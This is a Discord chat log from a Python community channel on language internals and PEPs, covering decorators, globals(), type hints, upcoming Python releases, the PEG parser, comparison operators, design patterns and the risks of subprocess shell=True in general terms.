#internals-and-peps
1 messages · Page 59 of 1
sorted creates and returns a sorted copy
list.sort just runs on the original list and modifies it
so```
0 = {}
succ n = n U {n}
@grave jolt in Haskell, succ n will return n+1
not necessarily
succ is a member function for the Enum class
but why does it matter here? it's just a mathematical successor function
can use surreal numbers for ints:
In [3]: zero = Number()
...: one = Number(L=(zero,))
...: two = Number(L=(one,))
...: minus_one = Number(R=(zero,))
...: two + minus_one == one
Out[3]: True
Do you always use notebook-like IO instead of repl IO for your code samples?
(Not saying that one is better than the other; just wondering)
hi, so i modified the default json module: https://paste.pythondiscord.com/jecoranuyi.py, and was wondering if i should submit it as a pull request, the changes are as follows 92: import copy.copy for later use 105-148: add functions _do_replace and _sanitize 152: add sanitize kwarg (default False) 180-181: add sanitize to docstring 187-188: add sanitize functionality 211: add sanitize kwarg (default False) 238-239: add sanitize to docstring 245-246: add sanitize functionality i've tested it and it works as intended currently, its function is to allow non-serializable objects within the obj argument of json.dump and json.dumps to be cast to a string in order to make the entire object serializable
Zoe, if you want, touching system libraries is always fraught with "we can't break anything" so make sure run whatever test python has json module with 100% pass and whatever changes you made include tests as well
i mean, it wont break existing code, because of the fact it only does anything different when a non-default Kwarg is used, but i mean, im not 100% sure that the new code is completely bug free, but i havent been able to find any bugs
I've never contributed to python core libraries but I assume they have test modules
it seems like they do, i'll use them if they exist
I'd be shocked if they didn't
I'd probably start with posting it on something like python's mailing lists or creating an issue for it
The general usefulness of the feature needs to be considered, as adding it to the stdlib also means maintaining it for quite some time
okay, thats fair
!e ```python
def run_once(fn):
ran = False
def wrapper(*args, **kwargs):
nonlocal ran
if ran:
result = fn(*args, **kwargs)
ran = True
return result
else:
raise RuntimeError('Stop that')
return wrapper
@run_once
def f(x):
print(f'{x=}')
f(3)
f(3)
@paper echo :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 17, in <module>
003 | File "<string>", line 10, in wrapper
004 | RuntimeError: Stop that
@unkempt rock @sand goblet @pearl river ^ re: "run this function only once"
not sure why it isnt printing, i probably goofed something up
oh
thats quite a nice idea actually
!e ```python
def run_once(fn):
ran = False
def wrapper(*args, **kwargs):
nonlocal ran
if ran:
raise RuntimeError('Stop that')
result = fn(*args, **kwargs)
ran = True
return result
return wrapper
@run_once
def f(x):
print(f'{x=}')
f(3)
f(3)
@paper echo :x: Your eval job has completed with return code 1.
001 | x=3
002 | Traceback (most recent call last):
003 | File "<string>", line 17, in <module>
004 | File "<string>", line 6, in wrapper
005 | RuntimeError: Stop that
ahaha, fair enough
i also much prefer this to one suggested method of overwriting fn.__code__ with (lambda: None).__code__......
or this creative but bizarre solution by mesolikey:
def f(x=[0]):
print("function called")
x[0] = 1
for i in range(3):
if f.__defaults__[0][0] == 0:
f()
once you start using mutable defaults, you don't stop 😅
this is truly the first time i have ever seen mutable defaults used as a feature rather than an unfortunate side effect of language design
i wonder if you can implement some kind of recursion with mutable defaults
oh god you can
that kind of fuckery is best contained in #esoteric-python
def self_destructing_function(x):
print(f'{x=}')
del globals()['self_destructing_function']
``` because i like to watch the world burn
@paper echo what about my little gem 😈 😂 😂
@paper echo The above code is giving me the Stop that RunrtimeError
thats the whole purpose?
thats what happens when you run it more than once, to my understanding the objective was to create a function which can only be called one time
is it creative enough 😂
that's what i've used mutable defaults for --- caching
brutally so @languid nimbus
:incoming_envelope: :ok_hand: applied mute to @unkempt rock until 2020-07-24 03:13 (9 minutes and 59 seconds) (reason: duplicates rule: sent 4 duplicated messages in 10s).
cool
is it okay if i use python 3.8 when the python 3 book tells me to download 3.6. i dont think 3.8 came out when the book did.
?
In [3]: def self_destruct(func):
...: def wrapper(*args, **kwargs):
...: result = func(*args, **kwargs)
...: del globals()[func.__name__]
...: return result
...: return wrapper
there's a decorator for it
alright thanks jason. i got the right book this time 😄
nice, ahaha
in the interest of avoiding typos ```py
import inspect
def self_destruct(x):
print(f'{x=}')
del globals()[inspect.stack()[0].function]
um
what is the inspect library?
ok this is advanced
I haven't used globals() before either...I am learning
inspect allows you to inspect live objects, it has a bunch of useful features inspect.stack()[1].function is the name of the function which called the current function, which could for example be used to only do a certain thing if a function wasn't called directly.
okay, yeah... don't use globals() unless you have a very specific reason to, its really not good practice ahaha
i've used locals to create a bunch of kwargs before
global variables?
def keyboard_on_key_down(self, window, keycode, text, modifiers):
"""Emulate a python console: disallow editing of previous console output."""
if keycode[0] in CTRL or keycode[0] in SHIFT and 'ctrl' in modifiers: return
key = Key(keycode[0], 'shift' in modifiers, 'ctrl' in modifiers)
# force `selection_from` <= `selection_to` (mouse selections can reverse the order):
_from, _to = sorted((self.selection_from, self.selection_to))
has_selection = bool(self.selection_text)
i, home, end = self.cursor_index(), self._home_pos, len(self.text)
read_only = i < home or has_selection and _from < home
at_home = i == home
at_end = i == end
kwargs = locals(); del kwargs['self']
if handle := self.input_handler(key, read_only): return handle(**kwargs)
return super().keyboard_on_key_down(window, keycode, text, modifiers)
this was where i used it
yeah, globals() is basically a dictionary of all of the global variables in your code
got it
do you have to specifically declare a variable as global?
I have never done that
I don't see any need for global variables, so I can see why they advise against it
for meta programming and making frameworks you might use globals
it can be useful in certain very specific situations, like for example i had a piece of code that imported modules based on a dictionary, and it had to use globals() to assign names to the imported modules
i use it for hot-reloading in ipython
I have never made frameworks
this is advanced stuff 😁
I can see how inspect could be useful, especially for debugging
I usually use breakpoints and then evaluate expression in pycharm
it will list all members of an object for me
it is a bunch of metadata
import importlib
imports = {
'kivy' : {
'uix' : ['Label', 'Button', 'FloatLayout']
}
}
for k, v in imports.items():
for l, b in v.items():
for i in b:
globals()[i] = getattr(importlib.import_module(f'{k}.{l}.{i.lower()}'), i)
``` this is the import snippet i was using, this way i can easily add kivy imports, because otherwise, they're quite awkward to type out
thats just one v specific example where there's basically no alternative to using globals
oh I see
oh i had a kivy meta hack to auto import properties and auto load kv files
from collections import ChainMap
from inspect import getfile
from os.path import dirname, join, exists
from textwrap import dedent
all_properties = {name: getattr(properties, name) for name in properties.__all__}
class WidgetMetaclass(type):
def __prepare__(*args):
# "Add" Properties to __dict__
return ChainMap({}, all_properties)
def __new__(metas, name, bases, methods):
# Remove Properties from __dict__
if hasattr(methods, 'maps'):
methods = methods.maps[0]
return super(WidgetMetaclass, metas).__new__(metas, name, bases, methods)
def __init__(cls, name, bases, attrs):
super(WidgetMetaclass, cls).__init__(name, bases, attrs)
Factory.register(name, cls=cls)
kv = getattr(cls, '__KV__', None)
if not kv:
directory = dirname(getfile(cls))
filename = f'{name.lower()}.kv'
kv_path = join(directory, filename)
if exists(kv_path):
with open(kv_path, 'r') as file:
kv = file.read()
if kv:
Builder.load_string(dedent(kv))
class WidgetBase(EventDispatcher, metaclass=WidgetMetaclass):
'''Base class used for Widget, that inherits from :class:`EventDispatcher`
thats pretty cool actually
could someone maybe explain where did i go wrong with this
is it because i wasnt using C syntax/logic to concatenate?
i only know C++ but C docs suggests copying starting from NULL then create new string then adds NULL to new string idk
found the problem in case anyone wondershttp://docs.cython.org/en/latest/src/tutorial/strings.html#general-notes-about-c-strings
You could try analyzing the outputted C code
jupyter doesnt seem to gib that guess i gotta switch ide then lol
since
since this problem persists after switching from C string to python string object i m guessing theres some shenanigans happening lol
@dire hull Save the snippet to a .pyx file and run cython -a *.pyx on it, my guess is that Cython is treating string as a Python string and is reallocating it multiple times
Also I think this is a bit off-topic for this channel, maybe we could move to ot
@deft pagoda i made it more powerful ```py
def self_destruct(func):
def wrapper(*args, **kwargs):
result = func(*args, **kwargs)
try:
del globals()[func.__name__]
except:
pass
try:
delattr(__builtins__, func.__name__)
except:
pass
return result
return wrapper
print = self_destruct(print)
print('!')
print('!')
which language was python made from?
what do you mean by made from?
like I mean, python the language must have been coded right?
The official implementation of Python is CPython, written in C
oh ok thanks
can someone explain this
Also the search engines dont seem to understand the expression \\
\ starts an escape expression in python. For example \n is newline, \\ is \, \r is carriage return, ... You can use r'\\\\' to get 4 backslashes in a row
r prevents the escape sequences
aight thanks m8
the character is called backslash
hello
Hello @pearl prairie - this isn't the best channel for introductions. IF you just want to chat and introduce yourself, #python-discussion is bit better if it's about python in a general sense - or off-topic if it's more general.
@brave badger cython seems like an interesting part of the language, so on topic? 🤔
cython seems like it would fit into #c-extensions
Yeah, also considering that Cython is a superset of Python
Python is best
Hey, I'm making a discord bot with python and I am working on a new command where I get some user account data
There's an open source javascript/node bot that does almost the same thing
This is a small part of that code, my question is: How can I do something like this with python/aiohttp?
not the right channel mate, #❓|how-to-get-help
Oh alright
How do you import stuff from a directory one level above it? I tried import ..utils but no. I'm asking here because I think a help channel is overkill for this
from .. import module if they're both a package afaik
@dusk yacht that's correct but only if it's a package, not a just directory. And yes a help channel is fine for this. We have a lot of help channels for a reason.
Hi, I generate an object in a loop and when I insert the object with the iteration, I get something like this:
{
"2500": {
"animal": {
"fish": {
"blobfish": {
"age": 3,
"location": "sea",
"status": "alive"
}
}
}
},
"2501": {
"animal": {
"fish": {
"clownflish": {
"age": 1,
"location": "aquarium",
"status": "dead"
}
}
}
}
}
Got any clever idea how I could change it in a way that I save both entries under the same child?
hey guys when asking a user for input to remove an item from a list, how do i make sure that the input given matches an item in the list. for example if i have 3 items in a list, how to stop someone trying to delete the 4th item that don't exist?
@quasi shuttle not the right channel mate, #❓|how-to-get-help
ok thank yuo
Hey is it possible to specify types in python, i tried this but probaly not valid: test: str = 'asd' it does work tho
Those are type hints, https://www.python.org/dev/peps/pep-0484/ they aren't used directly by python but are added to the __annotations__ variable when sued in functions etc. Type checkers
like mypy can then use them to help verify you're passing the right things in your code
Ah okay thanks
Hi, please can someone explain to me what does the items() function does exactly on the dictionary ?
@sullen citrus normally this is a topic for a help channel, #❓|how-to-get-help
print('you all good')
With new updates to the python language, like 3.9, is the branch for it public or do they release it more in an Apple manner?
I suppose it’s public, but I’m not quite sure
yeaaa
apple manner?
they do follow a release cycle
Apple manner means that everything is secret, until release date
Almost everything regarding python is open, right?
yea, python does not follow in apple's footprints
The code is all on github, but I believe you'll have to find an unofficial build or compile it yourself
everything is public, or at least open to the eyes of the public
open source vs proprietery etc
yep, peps are public, feature planing is public, implementation issues are public
Nice. Is 3.9 just a separate branched that’ll be merged with the master soon, then?
im not sure of the specifics, but something like that most likely
im sure the precise branching flows are described in detail in some part of the developer docs
@spark parcel there are official builds of 3.9.0b5 available
Really? Thanks for letting me know
https://docs.python.org/3.9/whatsnew/3.9.html @spark parcel
this is gonna be a good one
zoneinfo is really really useful
as is graphlib
pep 617 (new parser), pep 584 (dict merge operators), pep 585 (type hinting w/ generics), pep 614 (decorators can be full expressions now)
asyncio.to_thread (presumably this one was borrowed from trio)
has there been a pep for something akin to perl's use statement?
obviously you can specify in setup.py/pyproject.toml
3.9 has a lot of cool stuff but I'm more looking forward to 3.10 and the breaking changes it'll introduce
Like?
https://docs.python.org/3.10/whatsnew/3.10.html this is pretty bare so far
PEP585 is such a small change but it is soooo good
Postponed annotations as one example malendowski, then if peps go through also things like removing deprecated modules etc.
Starting with Python 3.7, when
from __future__ import annotationsis used, function and variable annotations can parameterize standard collections directly. Example:
i actually had no idea about this
where's the list of changes so far, if not in the docs @peak spoke ?
oh i see mypy didn't handle it before now
Wait so are the new static types going to make runtime checking easier?
Bc currently with Typing module , it sucks and doesn't really work
I know mypy exists but I'd rather runtime checking if so desired
The zip() function now has an optional strict flag, used to require that all the iterables have an equal length
Isn't that the current implementation, raising if they don't have the same length, whilezip_longuestdoesn't give a f*ck about the length
Most peps that had python 4 as the version where they switch over to default are now on 3.10, the some more cool things like subinterpreters if they finish, the what's new doesn't have that much since it's an alpha
zip will just stop on the shortest
can someone tell me how i can understand why i am getting this error with pip install:
Collecting python-harvest-2
Could not find a version that satisfies the requirement python-harvest-2 (from versions: )
No matching distribution found for python-harvest-2
I kinda like generics being uppercase capitalized, but not having to import from typing is enough of a reward.
it's the same as before @swift imp it just removes the need to use typing.List[T], now you can write list[T]
@halcyon forum check out one of our help channels: #❓|how-to-get-help
The only change 585 brings is moving over behaviour of things like List to the builtins and deprecating the imports
Yeah but you can't use isinstance on anything in the typing module, you should be able to in 3.10 right?
Like if you pulled the annotations with inspect
pep 585 says that isinstance will still give an error on parameterized types
isinstance(a, list) # OK
isinstance(a, list[int]) # ERROR
I'm guessing they're still working it out and will allow it eventually?
I want that so bad
isinstance(a, List) is a thing though
or not feasible
Maybe they could do that with a dunder, but I also doubt it
you can't tell if a list is a list[int] at runtime unless you literally check every element
and what if it's an Iterable?
then you've exhausted it
RIP
If you wanted to allow iterables then you annotate as Iterable instead of list
that's not my point
it's not built into the language, everything will be a workaround
I like the way typing is handled since python is so dynamic but tools are still allowed to handle the annotations in their own way
use a static language if you want static typing 🤷♂️
They are some funny itertools iterables to check the content of an iterator without exhausting it though
Exactly @undone hare
@brazen jacinth or statically typed collections like numpy.ndarrays or array.arrays
I'm assuming that'll be more expensive than you want a type check to be
@undone hare oh?
Or that yea
Having to write code for end users who don't want to read documentation and shit, static typing would be really nice
and if it's with things like tee then they're also not threadsafe
Maybe not itertools, but I remember seeing that in the standard library; it isn't complicated to write anyway, just break the idea of the iterator
I sometimes wish I could easily turn out static typing for Python - static languages are very nice when they just run the first time. It takes much more effort to get it right first time in Python, but any improvements in the typing ecosystem is a good thing
Like my office is so fucking bad, there like 4 people that actually can and like coding. The rest just want some box that spits out answers
F for compile time if type checking is a thing though
or just build a simple flask app if you're not dealing directly with coders?
what the use ->, : in ``def greeting(name: str) -> str:
return "name is {}".format(name)
print(greeting(100))`` if we input and return different types
Tools can warn you
yep
pycharm does this for example
if i write -> int there it will warn me that i got the type wrong
and more importantly now i can write
g = greeting('salt rock')
and pycharm knows that g is a str
Typing has made me hate any packages that don't type hint
^^^^^
thanks
AWS is the biggest and most annoying example, none of their stuff is type hinted
boto docs are also just bad
I've been having a lot of trouble with bs4 recently with the system it uses and having no idea whether I only get tags or also things like strings
it's a massive quality of life improvement for the user of said library if you have type hinting
Hints would be great there
@rich steppe i think it will be both educational and it will make your own life easier in the long run
@peak spoke that's one that I was trying to think of that caused me a lot of pain recently
i'd love a tutorial or doc on "how to add type hints to a library that doesn't have them, using .pyi files"
that's such an easy fix
but i think people just don't know how to write type stub files
I tried writing a hint for a method in bs4 but ended up discovering they have some recursive checks there
Stub files, they are here for annotations
oh is this a mypy thing?
i like type hints, but when the complexity of a program grows, i just can't be arsed to lookup what i need to make it rigirously typed
triple nested structures, etc etc
If you just type things from the beginning, it's pretty easy
on the flipside, i can't be arsed to write complex code without typing
if the complexity grows beyond what you can type, it might be too complex
triple nested structures sounds like the kind of things you shouldn't be doing
also you can make your own types that combine other types
that too
dataclasses and typing.namedtuple make life very easy
You can also create a T object to avoid typing triple nested tyephints
For example, at my company there was a huge already existing codebase, where i wanted to enforce typing
with time, i just gave up
@swift imp
import attr
import marshmallow
@attr.s(slots=True)
class Person:
name: str = attr.ib()
age: int = attr.ib()
class PersonSchema(marshmallow.Schema):
name = marshmallow.fields.String()
age = marshmallow.fields.Integer(validate=marshmallow.validate.Range(min=0))
@marshmallow.post_load
def to_obj(self, data: Dict[str, Any]) -> Person:
return Person(**data)
i do stuff like this all the time for example
@brazen jacinth that requires a discussion w/ management
type hinting improves a lot readability and static error detection. Without typehint I feel I am blind
it's a long effort that requires piecemeal changes and some structure
to be honest, if docstrings are good, you don't really need hints
strong disagree
Yeah
When starting development it doesn't help as much because you know the types anyway, but for anyone else or in the future it'll prevent a lot of paint
For small programs you can run it in mind but for big softwares its impossible for me
don't get me wrong, i like type hints, and use them when i can
They serve different purposes, docstrings are for the developer, typehint for the IDE/tools
but it's not something that is needed, merely improves life
Docstrings specified types for a fair amount of time, and still do in some formats
but if you can omit types from the docstring thats great to me
true
Python 3.10 looks good but what about 3.12
🤔
only thing we know about 3.12 is the possible rough release schedule
Is there any PEP even targeting 3.12
doubt
https://www.python.org/dev/peps/pep-0623/#python-3-12 has it mentioned
Python 4 also going to be popping
and a couple others where it mostly lists the changes incrementally or release peps
is 3.11 a thing? or is it just not relevant to that pep?
Was going to say except removal of deprecated features :D
It is a thing, just not relevant for this pep
ah - sure
Is there going to be a py 4 or are they just going to stick with 3.x for future updates?
stumbled on https://www.python.org/dev/peps/pep-0611/ with the search and it looks interesting
well, when a major backwards incompatbile change will be introduced, that'll be the starting stone for py4
There are no plans for it yet afaik
Ah yeah this one is interesting
there's some things in the documentation that say that they're deprecated and will be removed in python4 🤷
how would i go about getting something added to python that i don't want to implement myself?
ah i didn't quite mean as a language change
more as an additional feature to a standard library
stdlib addition?
yeah
Typically this is done by sharing the code publicly.
i want to get a single function added to re
but idk how to implement it yet :/
🤷♂️
speaking of the changes in the upcoming minor versions, can anyone give me an ELI5 on the differences between the old LL parser and the new PEG parser
formal language theory was never my thing, still, im curious
guido seems to have an ardent disposition towards parsers funny enough, he probably has a write up somewhere
Seems like LL is purely context free whereas PEG can be context dependent?
@red solar cant you at least ask on a mailing list
Look ahead 🤪
oh yeah I guess I can do that
Basically peg can do look ahead recursively
i truly despise mailing lists but
the mailman web interface makes them bearable
meaning, it's performance is worse/better?
You can also post it in discuss.python.org
Long story short, the PEG parser is more flexible as it can look ahead and stuff like that, while the current LL(1) parser is somewhat limiting, and some of the recent additions required hacky grammar rules due to that. The old parser was built with older tech in mind, and is kind of... outdated, I guess
are random number generators consistent across updates?
LL(1) is really freakin' old yeah, from a time when 2mb of memory was literally the whole NASA server (1969)
are random number generators consistent across updates?
Provided with the same seed, yeah they would be. Unless otherwise stated
And yes, the NASA launched people on the moon with a 2mb server
aha, interesting thanks for the eli
Point is that in 1969 you couldn't buffer the input and do some lookahead assertions
I just pip installed a library that I'm working on and I can import it, but it can't see any of the submodules. And there's nothing in the top-level __init__ file
Sorry can I have an example of usage of this:
if name = 'init':
main()
Thanks
this isnt a help channel, use #python-discussion or #❓|how-to-get-help 😁
Ok
i'm not entirely sure how/why that doesn't fit this channel. They're not asking for help with a specific piece of code, and it's pretty easy to make the argument that qualifies as an advanced language feature
running a main is an advnaced language feature?
that's not as simple as namemain. It's about the meaning of the __name__ and it's implications - it's not a question I'd guess most people on this server could answer
where else would they go to ask that question? #python-discussion is too hectic by design, and it doesn't seem to belong in a help channel, although that might be the best place
i feel like the majority of people here would be able to explain what a __name__ is imo
#❓|how-to-get-help works out, and also I've already helped them in #python-discussion
i don't know what a __name__ is
i have no idea what it does beyond namemain
and i'm pretty confident with the language
like - I just don't see how/why it doesn't fit
If you ever imported a script you know what it does
its the name of the module, the name is implicitly __main__ when that file is run as the main file
hence the == __main__
If you ever imported a script you know what it does
@brazen jacinth
I don't understand the implications of doing __name__ == "__init__". From the sounds of their question, it's a fairly common thing to do - but I'm not sure exactly what you're normally looking to do in the __init__.py
i mean
i read it as exactly what they said
although, from the sounds of it - it isn't really a thing
Im gueesin he meant if name is main, aka the classic thing to do to prevent the script from automatically run if imported
i cant really think of a way it would be a thing, but im not the most knowedable py person. maybe there is a reason for it
__init__ as a name is possible, but there is probably never a reason to check for it
i thought it was pretty clear he was talking about the standard way of defining an entry point
alright sure, that makes sense
@red solar whats the new re function you want to implement, out of curiosity?
__lt__ and __eq__ (but as named functions, not dunders)
for patterns?
ye
what would __lt__ for a pattern be based on?
a < b if b matches everything a matches and more
sorting a list of regex objects so that you can attempt to match each of them with a string, without worrying that the string will match a less specific regex before a more specific regex
nice, i like that
is there already a general algorithm for it?
or is that the aspect you specifically wanted help with implementing
uhh technically yes... regex -> NFA -> DFA -> subgraph isomorphism
i'm sure there's better solutions
but it depends on the internals of the re library, which means ideally someone familiar with those would implement it
like hopefully re already generates a DFA internally
Hey could someone help me with a problem I’ve been having?
yes, but in #python-discussion or #❓|how-to-get-help
(or look at the topical channels)
Thanks, this is my first time here
so I was reading pep 8 documentation, and came across this: When implementing ordering operations with rich comparisons, it is best to implement all six operations (__eq__, __ne__, __lt__, __le__, __gt__, __ge__) rather than relying on other code to only exercise a particular comparison.
I'm not quite sure what they mean by this, and when this should be applied in practice when using ordering operations.
the rest indicates: ```To minimize the effort involved, the functools.total_ordering() decorator provides a tool to generate missing comparison methods.
PEP 207 indicates that reflexivity rules are assumed by Python. Thus, the interpreter may swap y > x with x < y, y >= x with x <= y, and may swap the arguments of x == y and x != y. The sort() and min() operations are guaranteed to use the < operator and the max() function uses the > operator. However, it is best to implement all six operations so that confusion doesn't arise in other contexts.```
Anyone know what they mean by the top part then?
The interpreter will try to work with what you have if the set is incomplete, and the way I understand it, they recommend providing all comparison operators (either manually or with something like functools.total_ordering) instead of relying on the interpreter to improvise in such situations
The drawback oftotal_ordering is that it will be slower that implementing it yourself.
Ah I see, it's to prevent inconsistencies then when the interpreter does it by itself
It may also be that your ordering is partial, and the ordering provided by the defaulted comparisons will be stricter than what you desired
Not much speed difference there
what would an actual example be?
I can't imagine coming across this quickly with the code I'm writing
example of speed or different ordering?
it is
and I want to prevent == to be interpreted as the inverse of __ne__?
yes
well maybe
maybe you don't, trying to find an example
ok take for example NaN
if you have NaN and any float, every comparison apart from != returns False
so you can't create < based on >=
Ah that's clear, nice example.
Well, in general, < should be not >=. NaN is a logically inconsistent outlier.
Interesting stuff, fun to learn more about python obscurities.
Well, in general,
<should benot >=. NaN is a logically inconsistent outlier.
@grave jolt from a mathmatical perspective that is inherently true
Well, NaN is not equal to itself not just in Python, it's just the floating-point standard.
which tbh makes it simple to check if a float is NaN lol, def is_nan(f): return f != f
Well, that's not how it works...
Because == for floats should be able to know if either of them is NaN
ok, not f == f, same thing, no?
!e print(float('nan')!=float('nan'))
You are not allowed to use that command here. Please use the #bot-commands channel instead.
oh. well, it works
@red solar equality or inequality of floats needs to know whether either of them is NaN, obviously, because NaNs shouldn't be equal to each other
spam
:incoming_envelope: :ok_hand: applied mute to @zenith iris until 2020-07-24 22:22 (9 minutes and 59 seconds) (reason: discord_emojis rule: sent 28 emojis in 10s).
Hi, is it possible to get list of class attributes except the ones of a parent class if I don't know the parent class?
!e ```py
class A:
a = 1
class B(A):
b = 2
b = B()
print(b.class.dict)
@torpid bridge :white_check_mark: Your eval job has completed with return code 0.
{'__module__': '__main__', 'b': 2, '__doc__': None}
what if the class has no __dict__?
Then presumably it has __slots__, I think
You are not allowed to use that command here. Please use the #bot-commands channel instead.
Hmm...
If it doesn't have either dict or slots, you're probably out of luck
Short of inspecting what it does with __getattr__
@torpid bridge Thank you so much, this is exactly what I needed
Check out PyPy. It is every bit as fast as the fastest Javascript engines
like V8.
is this a valid statement?
Does anyone have any literature on the various applications of descriptors?
What are the naming conventions for TypeVars? I see single letters used but I think those are woefully vague.
Cause one would have to make assumptions about how the type relates to the class. Is it the type for what the class stores? Is it the type for the object it is created from? Etc
hm
Well, if you name it in PascalCase like ItemType you can confuse it with a normal class
Yeah, I should have mentioned I've seen that. It's pretty broad
!ban 733392725109637202 spamming random things
:incoming_envelope: :ok_hand: applied ban to @wanton aspen permanently.
thanks
I've seen Google's style guide for Java and they suggest appending Type or just T to the end of a name
I like the latter personally
In Haskell, type parameters are in lower case. I think it might make sense in python as well. I don't think it can bring confusion, because the context for functions/variables is orthogonal to type parameters.
so
class Repository(Generic[e]):
...
class Repository(Generic[entity]):
...
That's quite interesting
In a certain way it does make sense, since they're variables after all
But alas, I am a slave to PEP 8
(not really)
Is there a python version of the gang of four book?
Isn't it supposed to be language-agnostic?
The examples are all c++ and Java
It doesn't mean that the concepts don't apply to other OO languages
Yeah but they're harder to follow
maybe Architecture Patterns with Python? https://www.oreilly.com/library/view/architecture-patterns-with/9781492052197/
@swift imp the patterns might not apply to python
and some of them are bad ideas, like Singleton
maybe some patterns might not apply because of dynamic typing, multiple inheritance (Java doesn't have it) or Python features like decorators
even if singletons were a good idea, I don't think they make sense in Python (they can be emulated as a module or as a class that's never instantiated)
What the heck is a Singleton
it's a class that only ever has one instance
i myself have no idea at all
Your boolean True and False. A None. Singletons.
well, None
They will always pass an is check
No matter where in the code they originate from. Since it's the same object.
a singleton is a class that lies: you think you are making objects, but it always gives you the same one.
it's a hidden global.
Hah, that's a nice way of putting it
NoneType and bool are probably fine because they are pure (immutable and don't give access to some state).
Oh God why is the only version of that book on libgen a god damn epub
it's on amazon kindle :)
Take the epub and use some format converter.
I'll buy it, if I like it
But I always pirate the book first
Unless it's so highly rated that everyone says it's amazing
Alright, we're getting off-topic
Probably might deviate from topic if we continue that discussion
Yeah lol
NoneType and bool are fine as singletons because they are simply enums/algebraic data types.
But a singleton config is bad because now stuff that's using a config is not testable, and you can't customize config getting.
One pattern which is definitely probably not applicable to python (and probably to C++ nowadays?) is the Strategy pattern.
They're also not used in the sense that you're repeatedly creating the single instance, but instead are global everywhere
The Strategy pattern is just a function, as I understand it. Although it might be a collection of functions 🤔
Singletons, from what I understood, are also great for managing state for a resource that must stay in sync throughout the code. But I'll admit I never had to use one
This book looks so over my head
I use a Singleton for basic config stuff
Disclaimer: I haven't read it
Architecture Patterns
I don't know whats the strategy pattern
In computer programming, the strategy pattern (also known as the policy pattern) is a behavioral software design pattern that enables selecting an algorithm at runtime. Instead of implementing a single algorithm directly, code receives run-time instructions as to which in a family of algorithms to use.
English is hard.
sort(key=...)
Ah. I see
Here you're parametrizing sorting by a custom algorithm
From what I've seen/read, it's usually done as a refactoring when you have lots of arguments passed into one function.
Anyway, this is more for #algos-and-data-structs
so I have a list of dictionaries:
list1 = [{key1:value1, key2:value2}, {key1:value1, key2:value}, {key1:value1, key2:value2}]
I want to add a third key in all dictionaries with value that'll be the sum of existing 2 values.
@leaden mortar for d in list1: d['key3'] = d['key1'] + d['key2']
thank you
@leaden mortar In the future, please ask in #python-discussion or in a help channel ( #❓|how-to-get-help )
ok
hey whats up. i got a problem, when i put. type: "" it doesn't shows me options for the status and i already put setPresence, can someone help me? please
@unkempt rock This is not a help channel. Check out #❓|how-to-get-help
oh ok thx
What is best platform to do python coding - Idle, Pycharm or ML Studio ?
@torpid bridge okay!!
Id say Pycharm and Spyder, though I'm not a pro in any way
advanced editors like sublime text and vscode are often suggested
Tbh I wouldn't recommend IDLE even to a beginner
i think there's a raid going on lmao
IDLE is just the terminal interactive session outside of a terminal, it can became a mess to manage larger projects
sort(key=...)
@grave jolt does this count as the strattegy though, afaik this is more related to the comparable/comparator type, as the sort is always the same afaik (some variant of timsort)
Mu or Thonny are two good beginner recommendations
Although this question seems much more appropriate to #python-discussion
i have a question
so
am i allowed to type in the code
in here
yeah i suck
idk how to debug this
but
class Solution:
def isPowerOfTwo(self, n: int) -> bool:
def isPowerTwo(n):
if n == 1:
print('true')
if n%2 == 0:
isPowerTwo(n/2)
else:
return False
as n set to 1
n = 1
This isn't the right channel. See #❓|how-to-get-help
https://www.python.org/dev/peps/pep-0505/
What are the implications for a pep being deferred? Are they usually dead in the water, or do they often come back? I find myself dreaming of having null aware operators, and am curious as to what the chances are. Also, is there any easy way to find discussion about a pep?
hi'
you can subscribe to python-ideas
maybe they'll talk about it, maybe with the new parser someone will work on none-aware
The problem is that most of the stuff that goes on in the mail lists I don't care about - I'm only really interested in the stuff that seems interesting/useful to me, and most of the mail list isn't
also - i'd really like to read discussion about that pep retroactively, it was originally proposed back in 2015
that pep does indeed look interesting
It's a less verbose alternative to x if y is not None else z, I think it would be really convenient
it becomes a lot less verbose if you're doing something like dealing with janky json
where you have that if not None else pattern everywhere
if config and config.auth and config.auth.username
vs
if config?.auth?.username
a contrived example
And that's a scenario where false-y values are out of the question
imagine if they weren't
hello
the pattern matching proposal along with none-aware can make a lot of chaining more comfortable
@unkempt rock This isn't a help channel
See #❓|how-to-get-help for information on how to get help
What's the definition of a "top level package"
The top initialized package which has all the modules of that app under it
Why the heck is Guido toying with the idea of making print a keyword again
That's how he presented it but why even
That's just gonna be so confusing
For all of 3 it will be a function and the all of sudden in 3.10 a keyword?
doubt it, the idea seemed to be mostly shot down
I feel like it would cause alot of confusion tbh
sir i have some doubts ,i had watched your python web automation video,i tried to automate google meet,everything is working well except when i join the meet with the join id,i switch to the child node correctly and interacted with evry element,algood,except the alert box on the chld window can not be closed,it says no such alert,the alert requests for cam mic permission whcih in want to dismiss,Stuck for two days? used wait methods too still no luck?any suggestion?
@left pollen This is not a help channel. Check out #❓|how-to-get-help
@deft pagoda the only advantage I see is that it will encourage non-toy projects to use proper logging... maybe
the PEP wasn't about making print a keyword, just pointing out that it was possible right?
i've heard that using shell = True in subprocess is a no no, but i've never understood why it's any more dangerous than just using the shell in general, or a shell script, or whatever else... I've seen people say not to use it a lot but haven't seen something that really argues that it's any worse than the thing it's basically emulating, a shell
Python docs take a stance on it based on shell injection
So, the pairing of shell=True and unsanitized input
I don't understand what makes that worse than just using the shell though
unless that's part of the argument, don't use the shell
Nah. Basically if someone has physical access to your computer, it's a moot point
But when you give someone a python program that interacts with user takes their input.. You see where this is going?
You're introducing a vector of attack via the python script that goes beyond just physical direct access to running the shell or terminal.
right - so people often moan about this but i rarely see much said, though i'm not appreciating the injection part enough. It seems that using it within a script as a convenience to use shell functionality is fine
Indeed.
right - so there are particular instances when it's dangerous, ie user programmes and whatnot, but on a devs system I have never appreciated the drama around it
at worst it seems to be a code smell for using a shell function which could be done with a default python module
It's the combination of unsanitized input and that argument that makes it a problem. As far as I'm aware, there's not a problem if unsanitized input is not involved.
The code smell argument is sound though. Why do things in a manner that can be done much safer?
I assume perhaps that's why it became such a big talking point.
right - the main reason that I would use it would be things like gsutil or whatever, that are much easier from the shell. Most of the time these can be done with subprocess.run([ ... gsutil args ]) anyway, so shell=True isn't always needed there either... I think i'm just annoyed that I'm told it's categorically wrong when it doesn't seem to be lol
unless that's part of the argument, don't use the shell
